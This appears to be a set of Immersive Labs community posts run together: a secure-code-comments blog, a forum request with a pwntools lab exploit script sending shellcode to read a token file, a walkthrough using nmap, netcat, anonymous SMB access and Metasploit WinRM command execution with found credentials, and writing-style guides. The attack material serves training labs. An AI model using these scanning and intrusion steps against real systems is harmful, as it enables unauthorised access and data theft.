Secure Code Comments: One Easy Way to Steward Your Application Security Culture
While traditional code comments focus on explaining the code's functionality, security-focused comments are crucial to promoting secure coding practices throughout the development lifecycle (SDLC). By making this simple tactic part of your natural workflow, you can assert your knowledge and become a security champion. Let's explore how integrating security comments into your code can benefit you and the security team. Leading Forward Using Secure Code Comments Integrating security into your daily coding isn't just about ticking requirement boxes; it's about building a security mindset that makes you indispensable. Secure-code comments are low-hanging fruit for sharing knowledge, learning from others, and making security a seamless part of your day. Senior developers and application security champions can quickly and effectively educate other developers about best practices without leaving the comfort of their Integrated Development Environment (IDE). Best practice for code comments suggests emphasizing the why, not the what. Security-focused comments are no different. Meanwhile, they play a crucial role in promoting secure coding practices, enabling teams to: Explain Key Security Moves: Share the rationale behind specific security measures, such as input validation, encryption, and access control mechanisms. Flag Red Flags: Spot potential weaknesses in your code, like SQL injection, cross-site scripting (XSS), and unprotected data. Share Knowledge: Link to relevant security standards, guidelines, and resources and facilitate efficient code reviews. Enhancing Code with Security Comments–Two Examples Example 1: Preventing SQL Injection with Parameterized Queries (Python) Let’s consider a simplified Python function, which performs a simple insert operation into a database: def insert_user(conn, name, email): """ Inserts a new user into the 'user' table. Args: conn: A sqlite3 connection object. name: The name of the user. email: The email address of the user. Returns: None This function uses a parameterized query to prevent SQL injection vulnerabilities. See: CWE-89 https://cwe.mitre.org/data/definitions/89.html By using placeholders (e.g., `?`) and passing the actual values as separate arguments, we avoid direct string concatenation. This ensures that user-supplied input cannot be manipulated to modify SQL commands. """ sql = """INSERT INTO user (name, email) VALUES (?, ?)""" cur = conn.cursor() cur.execute(sql, (name, email)) conn.commit() cur.close() As you can see, in addition to the regular docstring, we succinctly mention why we’re using parameterized queries over string concatenation. We also reference a CWE and provide a link for anyone who wants to learn more. With just three extra sentences in a function comment, we’ve given less experienced developers who are code spelunking a quick lesson (or reminder) about why and how to prevent SQL injection. Example 2: Mitigating XSS Vulnerabilities with DOMPurify (React) Let’s take a look at another example, this time on a React frontend. Here, we’re knowingly doing something potentially dangerous but effectively communicating to other developers the mitigations applied. /** * Displays user-generated HTML content, sanitizing it with DOMPurify to prevent XSS vulnerabilities. * * This component uses `dangerouslySetInnerHTML` because the content being displayed *must* include HTML markup. * Alternatives like rendering plain text or using a limited subset of HTML tags are not sufficient for this use case. See: https://kanban.system/t/123 * **Security Considerations:** * * **CWE-79 (Improper Neutralization of Special Elements used in an HTML Page): https://cwe.mitre.org/data/definitions/79.html * This code directly addresses CWE-79 by sanitizing the user-provided HTML before rendering it. Without sanitization, malicious * users could inject JavaScript code that would be executed in the context of the website, leading to * XSS attacks. * * **Why not just use textContent?** If we used `textContent` or similar methods, any HTML tags in the user * input would be treated as plain text and displayed as-is. This would prevent XSS, but it would * also defeat the purpose of allowing users to input HTML in the first place. * * **Why DOMPurify?** DOMPurify is a widely used and well-maintained library specifically designed for * sanitizing HTML. It's more robust and secure than attempting to create a custom sanitization * solution. It handles a wide range of potential XSS attack vectors. * * @param {string} htmlContent The user-generated HTML content. This is assumed to be untrusted. * @returns {JSX.Element} The sanitized HTML rendered within a div. */ function SafeHTMLDisplay({ htmlContent }) { const sanitizedHTML = DOMPurify.sanitize(htmlContent); return ( <div dangerouslySetInnerHTML={{ __html: sanitizedHTML }} /> ); } This time we go into more detail about the why. Let’s break it down: First, it’s important to acknowledge that the original approach isn’t best practice. Second, you can level up developer awareness about alternative options.Then, connect the dots for maximum impact, sharing why this approach is required to satisfy product requirements. Finally, it’s important to detail security considerations with CWE IDs, codifying the weakness you’re proactively mitigating; yes, you can even justify the introduction of another dependency compared to a custom implementation. Any future developer tasked with modifying the comment feature will quickly understand the importance of keeping this mitigation rather than “cleaning up the code” because it still functions “the same” without it. As an AppSec developer or security champion, you’ve just avoided another security report being raised because of a regression introduced by an over-eager junior developer. It's well worth the 15 lines of extra code. Even better, any security engineer performing a secure code review will be much more confident that their developer understands why they wrote the code the way they did. This knowledge, in turn, expedites that coveted ‘approve’ on their pull request, reducing the time to get the code safely into production. Identifying and codifying vulnerabilities with Find the Flaw Setting the tone with security-focused comments largely falls to the lead developer or security champion, presenting an easy opportunity for aspiring champions to stand out. Remember, the goal is to identify and codify weaknesses in code before or as it is being written; this approach ensures others can craft easy-to-understand security comments too. Whether you’re just starting out or looking to grow your skillset, Immersive AppSec’s Find the Flaw collections provide ample opportunities to build critical DevSecOps muscle memory. You’ll learn to identify various common vulnerabilities in code and recognize what CWE IDs they correspond to. Writing security-focused comments will feel like second nature when you're coding up a storm! Beyond Code Comments: Empowering Your Manager to Recognize the Power of AppSec Training Code comments are a valuable AppSec tool, albeit only one piece of the puzzle. To cultivate a developer-led security culture, organizations need managers who recognize the power of comprehensive training programs for their elite developers. These programs support proactive developers with the knowledge and skills to build secure applications from the ground up. As a result, the organization achieves development velocity SLAs and application security simultaneously. Remember to share your experience learning by doing, gaining the attackers’ perspective, which Immersive Labs AppSec offers. Your manager and teammates should recognize the value of using safe, real-world scenarios and interactive exercises, such that the training you do (now) targets the problems you have (now). Share your thoughts Check out this Find the Flaw collection and then share your thoughts with The Human Connection community: For developers: Does adding security rationale to your comments feel like an ‘easy enough' lift? For security champions: Are you already using this technique or something similar? How have you convinced other developers to adopt this style of commenting?
Need Help for Pwntools: Ep. 6 — Demonstrate Your Skills
I'm trying to solve an lab in Immersive labs Pwntools: Ep. 6 — Demonstrate Your Skills And I got stuck in the last step. I've tried the solution for using cat2 (from https://www.reddit.com/r/immersivelabs/comments/1ap3tub/pwntools_ep_6_demonstrate_your_skills/) but it is still not working. Could you please help me with this if possible shellcode = shellcraft.cat2("/home/token-user/token.txt", 1, 40) + shellcraft.ret(0) is what I tried from pwn import * import struct # Start the challenge binary p = process("/opt/demonstrate-challenge") # Use the correct path # === Part 1: Solve Arithmetic Challenge === p.recvuntil(b"What is the sum of ") numbers = p.recvline().decode().strip().split(" and ") num1 = int(numbers[0]) num2 = int(numbers[1].split("?")[0]) print(f"[+] Solving: {num1} + {num2} = {num1 + num2}") p.sendline(str(num1 + num2)) # === Part 2: Solve Packing Challenge === p.recvuntil(b"Send me back the following two 32-bit unsigned integers packed in little-endian order:\n") values = p.recvline().decode().strip().split(" and ") val1 = int(values[0]) val2 =int(values[1]) print(f"[+] Packing values: {val1} and {val2}") payload = struct.pack("<II", val1, val2) p.send(payload) # === Part 3: Leak Address of parsing_check() === elf = ELF("/opt/demonstrate-challenge") # Load the ELF binary parsing_check_addr = elf.symbols['parsing_check'] # Get function address print(f"[+] Found parsing_check() address: {hex(parsing_check_addr)}") p.sendline(str(parsing_check_addr)) # === Part 4: Send Shellcode to Read /home/token-user/token.txt === file_path = '/home/token-user/token.txt' shellcode = shellcraft.cat2(file_path, 1, 40) # Pwntools shellcode shellcode += shellcraft.ret() # Ensure proper return assembled_shellcode = asm(shellcode) p.send(assembled_shellcode) # === Get Flag Output === response = p.recvall() print(response)Your first lab level 9
What was the first level 9 lab you conquered? :). It does not matter that you will seek advice from other giants, or that you will manage to complete it on your own: share your journey with us!; to get the token or become root on that server. I start: I think that my first conquest of Lab level 9 is related to debugging ByteCode in Java (and only a few days ago!): my background is Oracle, and from years ago, so imagine how lost I was :). After loading the project into the IDE (along with the required plugin) I started debugging bit by bit... until one particular string caught my attention; it stood out from the rest!. And it was the solution :). Good luck!Human Connection Challenge: Season 1 – Scanning Walkthrough Guide (Official Version)
Time’s Up! Congratulations to everyone who completed Lab 2: Scanning from the Human Connection Challenge: Season 1. In this walkthrough, I'll share some strategies for efficiently completing the lab, based on my perspective as the author. Remember, there are often multiple ways to approach a challenge, so if you used a different method and succeeded, that's perfectly fine! The goal is to learn, and I hope these notes help clarify any steps and reinforce key concepts for the next challenge. This challenge has now ended, but the lab remains available for practice. While prizes are no longer up for grabs, you can still complete the lab and use this walkthrough guide for support if needed. I’ve also used placeholders in some of the commands that would give away an answer directly, so if you see anything enclosed in angle brackets, such as <name server>, please make sure you replace it with the actual value, such as nameserver. With all that considered, let's get started. Overview Task: Identify the name server records of tinytown.bitnet. 1. What is the IP of the first name server for tinytown.bitnet? You’ll first need to open a Terminal on the Kali desktop. Next, you’ll need to query the DNS Server IP (found in the Machines panel) about the tinytown.bitnet domain using the nslookup (Name Server Lookup) tool. You’re specifically looking for NS (Name Server) records, so you can use the -type=ns parameter with nslookup to specify this: nslookup -type=ns tinytown.bitnet [DNS Server IP] The output of this command will return two name servers for the domain labelled with 1 and 2. Your next step is to identify what IP address is associated with the first name server (1). To do this, you can use nslookup along with the name server, domain, and DNS Server IP: nslookup <name server>1.tinytown.bitnet [DNS Server IP] This command will then return an IP address for the name server. 2. What is the IP of the second name server for tinytown.bitnet? As you’ve already identified both name servers, you’ll just need to run the previous command, except with the second (2) name server: nslookup <name server>2.tinytown.bitnet [DNS Server IP] You’ll then find the IP address associated with it. Task: Identify port service information for Target 1. 3. What service version is running on port 53? A network scanning tool like Nmap can help you identify the service version running on a specific port. To do this with Nmap, you can use the -sV option for service detection: nmap -sV [Target 1 IP Address] The output will show what service version is running on port 53. 4. What is the full service banner of port 22? There are a couple of ways to find the full service banner of port 22 – such as with Nmap or Netcat. If you’re using Nmap, you can modify the previous command to include the “banner” script along with the port number: nmap -sV -script=banner [Target 1 IP Address] -p22 The command line will then display the service banner from port 22. You can alternatively use netcat to manually connect to the SSH server. When a client connects, Netcat may present a banner that contains version information. To use Netcat, you’ll need the nc command along with the Target 1 IP address and specify you want to connect to port 22: nc [Target 1 IP Address] 22 When you run this command, the banner appears before the terminal hangs. Task: Identify a token on one of the ports. 5. What is the token? With the previous Nmap command, you initially found that three ports were open on Target 1. However, you’ll need to do a more thorough network scan to find another open port, one not initially found with the previous scans. To do this, you can expand your port scan to cover a much wider range by using Netcat to scan for open ports from 1 through 9000: nc -zvn <Target 1 IP Address> 1-9000 Here, -z will scan for listening services but won’t send any data, -v is verbose mode, which provides more detailed information, and -n tells Netcat not to resolve hostnames via DNS. This command will reveal a fourth open port. Now, you can use Netcat to connect to this port: nc <Target 1 IP Address> <open port> The token will then be displayed in the terminal. Task: Scan the TLS configuration on Target 2. 6. How many protocols are enabled? To scan for SSL/TLS configurations, you can use the sslscan tool. By default, sslscan scans port 443 and will return supported server ciphers, certificate details, and more. You can use sslscan like this: sslscan <Target 2 IP Address> The returned output will be verbose, but you can find and count the number of enabled protocols under the SSL/TLS Protocols subheading. 7. Name an enabled protocol. Using the previous output, name one of the enabled protocols. 8. What exploit are the protocols NOT vulnerable to? Using the same output, scroll down through the results until you find a subheading that’s named after a vulnerability and contains a similar string to: <Protocol> not vulnerable to <vulnerability name> The vulnerability has the same name as the subheading. Task: Identify and extract information from an SMB share on Target 3. 9. What Disk shared directory can you access? To extract information from an SMB (Server Message Block) share, you can use the smbclient tool. First, you’ll need to list the SMB shares on the target using the -L flag (the list/lookup option) with: smbclient -L //<Target 3 IP> You’ll then be prompted for a password, but you can press Enter to skip this. A list of SMB shares will then be displayed, three of which are shown to be a Disk type, so you know the answer will be one of these. You can now begin to go through the list and try to connect to the shares with: smbclient //<Target 3 IP>/<Sharename> However, this time when you’re prompted for a password and you press Enter, you might encounter a message when you try and connect to a share: NT_STATUS_ACCESS_DENIED If you attempt to connect to all shares, you’ll find you can connect to one share without a password. You’ll then be greeted with the following prompt to show the successful connection: smb: \> 10. What is the token stored in the directory? Now that you’re connected, you can execute commands to interact with the SMB share. If you run ls, you’ll find a token.txt file in the current directory. You can then download the file from the share onto your local machine with: get token.txt On the Kali desktop, open the Home folder and the token.txt will be inside. Open this file and find the token. 11. What is the username stored in the directory? After you’ve run ls in the SMB share, you’ll find not only token.txt, but also a file named creds.txt. Use the same command as you just did previously to download the file onto your machine: get creds.txt This file will also be downloaded to the Home folder, where you can find a username and password. Task: Identify open services on Target 3. Task: Connect to Target 3 with the previously found credentials. 12. What is the token stored in the user's /Documents directory? For this final task, you first need to scan the target using Nmap. You’ll find that if you attempt to scan the target without using the -Pn flag, you’ll get a response saying that the host seems down. However, if you run Nmap with -Pn, you’ll find some ports are open: nmap -Pn <Target 3 IP Address> However, the ports returned from this command don’t offer a way to connect to the target. You’ll also need to scan the 6000 most popular ports: nmap -Pn --top-ports 6000 <Target 3 IP Address> These results will now show two additional ports are open regarding the Web Services Management (Wsman) protocol, which is used to communicate with remote machines and execute commands. One of the tools that implement this protocol is Windows Remote Management (WinRM) which is Microsoft’s implementation of Wsman. Knowing this, you can now use Metasploit to interact with the target. In your terminal, run: msfconsole Once loaded, you can use the the following auxiliary module to connect to a system with WinRm enabled and execute a command with: set cmd ls You’ll then need to set the following options, using the credentials you found in the creds.txt file: set username <username> set password <password> set rhosts <Target 3 IP Address> Next, you need to set the cmd option with the command you want to run. If you use the ls command, you’ll be able to find what out files are in the directory you connect to: set cmd ls With all the options set, you can now run the module: run The results of the executed command will be printed on the screen and also saved to a directory, but both show the existence of a token.txt file in the current directory. You can now set the cmd option to type token.txt in Metasploit: set cmd type token.txt Once set, use the run command to send the updated command: run The contents of token.txt will then be displayed on the screen and outputted to a file. Tools For this challenge, you’ll use a range of tools including: Nslookup Nmap Netcat Sslscan Smbclient Metasploit Tips You can use different tools and parameters within those tools to scan for and find information, so don’t be afraid to try out a few different things! If you want to learn more about some of the tools within this lab, take a look at the following collections: Reconnaissance Nmap Infrastructure Hacking Introduction to Metasploit Post Exploitation with Metasploit Conclusion The steps I’ve laid out here aren’t the only way to find the answers to the questions, as long as you find the answer, you did it – well done! If you found another way to find some of these answers and think there’s a better way to do it, please post them in the comments below! I hope you enjoyed the challenge and I’ll see you for the next one.Making the Most of the Custom Lab Builder: Tone of Voice
Now you can build your own labs in the Custom Lab Builder, we thought we’d provide some guidance on writing with a strong tone of voice to ensure your labs are as engaging as possible. This blog is the third in a series on making the most of the Lab Builder, looking at what we call the Four Cs. Ensuring your writing is… Conversational Concise Conscious Consistent The previous two posts looked at accessibility and inclusivity. This post focuses on tone of voice and how to write authentically to ensure your audience engages with the lab and remembers the message you’re trying to teach them. Writing well For most of your life, you’ve probably been told to write properly. Avoid contractions at all costs. Use complex sentences with plenty of fancy connecting words like “furthermore” and “moreover”. And never start a sentence with “and”. This formal style works really well for some industries. Academia is traditionally an incredibly formal area when it comes to the written word, as is the broadsheet newspaper realm. This is often to reflect the work’s sincerity, to avoid weakening a writer’s reputation, and to present ideas consistently and objectively. But Immersive Labs believes writing can be sincere and objective without being so... dull! Be conversational Copywriting is increasingly conversational, appearing everywhere from LinkedIn posts to the back of your milk carton. This style engages readers by feeling personal and authentic, aligning with Richard Mayer’s Personalization Principle, that people learn more deeply when words are conversational rather than formal. A human-to-human copywriting style makes sense for Immersive Labs, as we’re all about focusing on the humans behind the screens. When using the Lab Builder, we recommend writing your labs in an engaging, approachable style to create a modern, user-friendly learning environment. But conversational doesn’t mean sloppy. It’s about presenting ideas clearly and confidently, helping users feel at ease while they learn. Use everyday, concrete language Using fancy, complex words doesn’t make content better – it can actually distract readers and undermine clarity. Instead, prioritize clear, straightforward language to ensure your message is easy to understand, especially by users with cognitive disabilities. Avoid overly poetic phrases, figures of speech, idioms, or ambiguous language, which can confuse or overwhelm readers, including those with autism spectrum conditions. Strive for clarity to help users grasp your message the first time, keeping their needs front and centre. Address the reader Authenticity is all about gaining your reader’s trust. We recommend speaking directly to them in your custom labs by using “you” throughout your copy. This handy trick also avoids any ambiguity when it comes to practical tasks. Take the following example. “In this lab, the machine must be analyzed and IoCs must be extracted.” Instead of being vague and passive, we recommend talking directly to the reader and telling them exactly what they need to do. “In this lab, you need to analyze the machine and extract IoCs.” Or better yet, you can be even more direct by cutting that down even further: “In this lab, analyze the machine and extract IoCs.” Our labs and scenarios frequently talk directly to the reader. Users are more likely to stay engaged when they’re spoken to, not at. Use contractions Contractions instantly make your writing more conversational by mimicking natural speech. Combining words like "it is" to "it’s" or "you are" to "you’re" adds a touch of informality that feels approachable and inclusive. While once discouraged in formal writing, contractions are ideal for a modern learning environment, making text easier to read, understand, and remember. Be concise Writing in plain language is good for all users, but can make a massive difference for neurodivergent users, those who struggle to focus, those who hyperfocus, or maybe those who find reading difficult. We follow recommendations from the Advonet Group, the British Dyslexia Association, and Clark and Mayer’s Coherence Principle to ensure accessibility for a diverse audience – and you should too! Writing simply and clearly doesn’t mean trivializing content or sacrificing accuracy; it just makes your message easier to understand. After all, no one's ever complained that something's too easy to read! The difficulty comes when balancing this with technical content. How can you make advanced, complex cybersecurity topics clear and concise? Keep it short and sweet Sentences longer than 20 words become difficult to understand and can detract from the point being made. It’s easy for people’s minds to wander, so get to your point in as few words as possible. The same goes for paragraphs. Try and avoid long, dense walls of text. Nobody wants to read that, and it’s no good when thinking about accessibility. Keep your paragraphs to four or five lines, maximum. Get to the point Avoid adding unnecessary side notes to your labs, as they can distract from the main message and make learning harder. Unnecessary content distracts the learner’s attention from the main message, making them less likely to remember the core topic. It disrupts the connections between key messages and diverts the learner’s focus, making it harder to piece together the bigger picture. This is all down to cognitive load theory, which says that in general, humans can handle around four pieces of new information at any one time. To help users focus, stick to the lab's core topic and avoid overloading them with unrelated details. TL;DR When writing your labs with the Custom Lab Builder, ensure all your text is conversational to engage your users with the topic. And also make all your copy as concise as possible. Getting your message across in as few words as possible will reduce cognitive overload, boredom, and frustration. By focusing on being conversational, as well as being consistent and conscious (as we covered in the previous blog posts in this series), your readers will engage with your content better, remember the topic, and be able to put it into practice more easily – improving their cybersecurity knowledge and driving their cyber resilience. Share your thoughts! What do you think about these tone of voice tips when writing your custom labs? Have you tried to write your labs in a conversational yet concise way, and how did this go down with your users? Do you have any other suggestions for the community on how to write conversationally? We’d love to hear from you!
error in "Git Security: SSH Keys" lab
Related to "Git Security: SSH Keys", within Step #3 of the Lab, the SSH Private Key is pasted into the Metrolio User account, but it generates an error message each time. It works for others when they follow the exact same steps but not for me, so I can't proceed. I have tried with both FireFox and Chrome multiple times. Do you have any tips to overcome this?Making the Most of Custom Lab Builder: A Guide to Writing Inclusively for All
Language shapes how people perceive and engage with content, so it’s crucial to consider the kind of words you use. Using outdated terminology can offend and disengage learners, as well as hurt a company’s reputation. This blog is the second in a series on making the most of the Lab Builder, looking at what we call the Four Cs. Ensuring your writing is… Conscious Consistent Conversational Concise The previous post in this series looked at accessibility. In this post, we’ll explore what it means to write consciously and inclusively, share practical tips, and show how our platform supports this critical effort. Why is inclusive language important? Inclusive language avoids bias, respects diversity, and ensures accessibility for all. In cybersecurity, it means using terms that foster collaboration and trust, avoiding outdated or harmful phrases, and creating welcoming and empowering content The Quality Team at Immersive Labs is committed to staying up to date with how language changes in the cyber industry. We regularly undertake research and speak to other industry professionals to ensure that our language is appropriate. Words to avoid We recommend avoiding specific terms that some people may find offensive, and some socially charged language that may have negative connotations. Non-inclusive language to avoid Preferred inclusive versions Whitelist/Blacklist Allowlist/Denylist White hat/Black hat hackers Ethical/Unethical hackers Master/Slave Leader/Follower, Primary/Replica, Primary/Standby Grandfathered Legacy status Gendered pronouns (e.g. assuming “he/him/his”) They, them, their Gendered pronouns (e.g. “guys”) Folks, people, you all, y’all Man hours, man power Hours, engineer hours, workforce, staffing Man-in-the-middle attack Machine-in-the-middle attack Sanity check Quick check, confidence check, coherence check Dummy value Placeholder value, sample value Crazy, insane Amazing, incredible, or any other appropriate adjective Socially charged words Preferred inclusive versions Native Built-in, default, pre-installed, integrated, core Abort Stop, cancel, end, force quit Cripple Disable, impair, damage, destroy, ruin Kill Stop, force quit, close, shut down Trigger Activate, initiate, cause, launch Unsure if a phrase you’ve used could be seen as offensive? Ask yourself: is this the most accurate and appropriate choice? Often, you can find a more descriptive word and avoid using these examples. Top tips for inclusive language Use writing tools Tools like Grammarly can help identify problematic words or phrases. You can create customized lists in Grammarly, which will then flag when a word has been used in your writing. Additionally, there are many inclusive language guides available online. Keep it short and sweet Use short sentences and paragraphs. Shorter sentences are easier to read, scan, and understand – especially for those with cognitive disabilities. Aim for sentences around 10–15 words, with variation for a natural flow. Avoid sentences longer than 20 words, as they can be harder to follow. Read aloud Proofread your work aloud to catch awkward phrasing, overly complex sentences, or insensitive terms. Hearing the words can help identify spots where clarity or tone might need improvement. Get a second opinion Ask a colleague to review your final version. A fresh set of eyes can spot language that might be unclear, inappropriate, or overly complicated. Share your thoughts Now that Lab Builder is here and you’ve had a chance to create your own content, how have you made your content more inclusive? We’re always looking to stay up to date, so if you have any further suggestions to add to our list of words to avoid or any other tips, let us know! We’d love to learn from you and grow the collective community knowledge.Making the Most of the Custom Lab Builder: Writing With Accessibility in Mind
What if someone tried to access your content who was visually impaired? Or who had cognitive difficulties? Or who was hard of hearing? Would they be able to understand the information you’ve provided and improve their cyber resilience? Our in-house copyediting team has created a series of articles to help you craft high-quality labs, aligned to the rigorous processes we follow. We embrace what we call the Four Cs to ensure all labs are: Consistent Conscious Conversational Concise These articles delve into each of these principles, showing how to implement them in your labs to create content that resonates with readers, enhances learning, and boosts cyber resilience. This post highlights how being conscious of your formatting can enhance accessibility for assistive technology users and how consistent formatting improves navigation for everyone. Rich text formatting Rich text formatting tools like subheadings, bullet points, lists, and tables in the Custom Lab Builder help organise information for easier scanning, better retention, and improved comprehension. Using these will ensure your content is consistent, accessible, and reader-friendly for everyone! Rich text formatting elements carry specific meaning, which assistive technologies rely on to convey information to specific users. Headings Visually, headings represent hierarchy through different font styling and allow users to quickly scan content. Programmatically, they allow users who can’t see or perceive the visual styling to access the same structural ability to scan. Heading elements should reflect the structure of the content. So your title should go in ‘Heading 1’ formatting, your next subheading will go in ‘Heading 2’ formatting, and so on. To ensure your content reads correctly to screen reader users, don’t use HTML heading styling to represent emphasis, and don’t use bold to make text appear like a heading. Lists (bullets/numbering) Always use bullets or numbered lists using the provided formatting to convey a list. A screen reader will announce that the following information is a list. Links How a link is formed significantly impacts usability. Consider the following sentence: “To find out more about this topic, complete our Intro to Code Injection lab here.” Links are interactive elements, which means you can navigate to them using the tab key. A user who relies on screen magnification to consume content may choose to tab through content to see what's available. The example above would be communicated as just “here”, which provides no context. They’d need to manually scroll back to understand the link’s purpose. Always use descriptive link text that clearly indicates its destination. Avoid ambiguous phrases like “here”. If that’s not possible, ensure the surrounding text provides clear context. “To find out more about this topic, complete our Intro to Code Injection lab.” Bold Only use bold for emphasis! Avoid italics, capital letters, or underlining (reserved for hyperlinks) to prevent confusion. Consistency in formatting reduces cognitive load, making your text more accessible. Bold stands out, provides better contrast, and helps readers quickly identify key information. Avoid italics With 15–20% of the population having dyslexia, italics are worth avoiding because research shows it’s harder for this user group to read italic text. Italics can sometimes bunch up into the next non-italic word, which can be difficult to comprehend or distracting to read. Media If you’re adding media to your labs, such as videos and images, it’s especially important to consider those who use assistive technologies. These users need to have the same chance of understanding the content as everyone else. They shouldn’t miss out on crucial learning. What is alternative text? Alt text describes the appearance and function of an image. It’s the written copy that appears if the image fails to load, but also helps screen reading tools describe images to visually impaired people. Imagine you’re reading aloud over the phone to someone who needs to understand the content. Think about the purpose of the image. Does it inform users about something specific, or is it just decoration? This should help you decide what (if any) information or function the images have, and what to write as your alternative text. Videos Any videos you add to your lab should have a transcript or subtitles for those who can’t hear it. Being consistent Consistency is a major thinking point for accessibility. We recommend adhering to a style guide so all of your labs look and feel consistent. We recommend thinking about the structure of your labs and keeping them consistent for easy navigation. In our labs, users expect an introduction, main content, and a concluding “In This Lab” section outlining the task. This helps users recognize certain elements of the product. It reduces distraction and allows easier navigation on the page. For example, some users prefer diving into practical tasks and referring back to the content if they need it. By using the same structure across your lab collections, your users will know exactly where to find the instructions as soon as they start. TL;DR It’s crucial to focus on accessibility when writing your custom labs. Utilise the built-in rich text formatting options in the Custom Lab Builder (and stay consistent with how you use them!) to ensure your labs are easy to navigate for every single user. By being conscious and consistent with your formatting, every user will engage with your content better, remember the topic, and be able to put it into practice more easily, improving their cybersecurity knowledge and driving their cyber resilience. No matter how they consume content. Keep your eyes peeled for the next blog post in this series, which will look at inclusive language. Share your thoughts! There’s so much information out there on creating accessible content. This blog post just focused on the language, structure, and current formatting options available in the Custom Lab Builder. Have you tried to make your labs or upskilling more accessible, and how did this go down with your users? Do you have any other suggestions for the community on how to write content with accessibility in mind? Share them in the comments below!
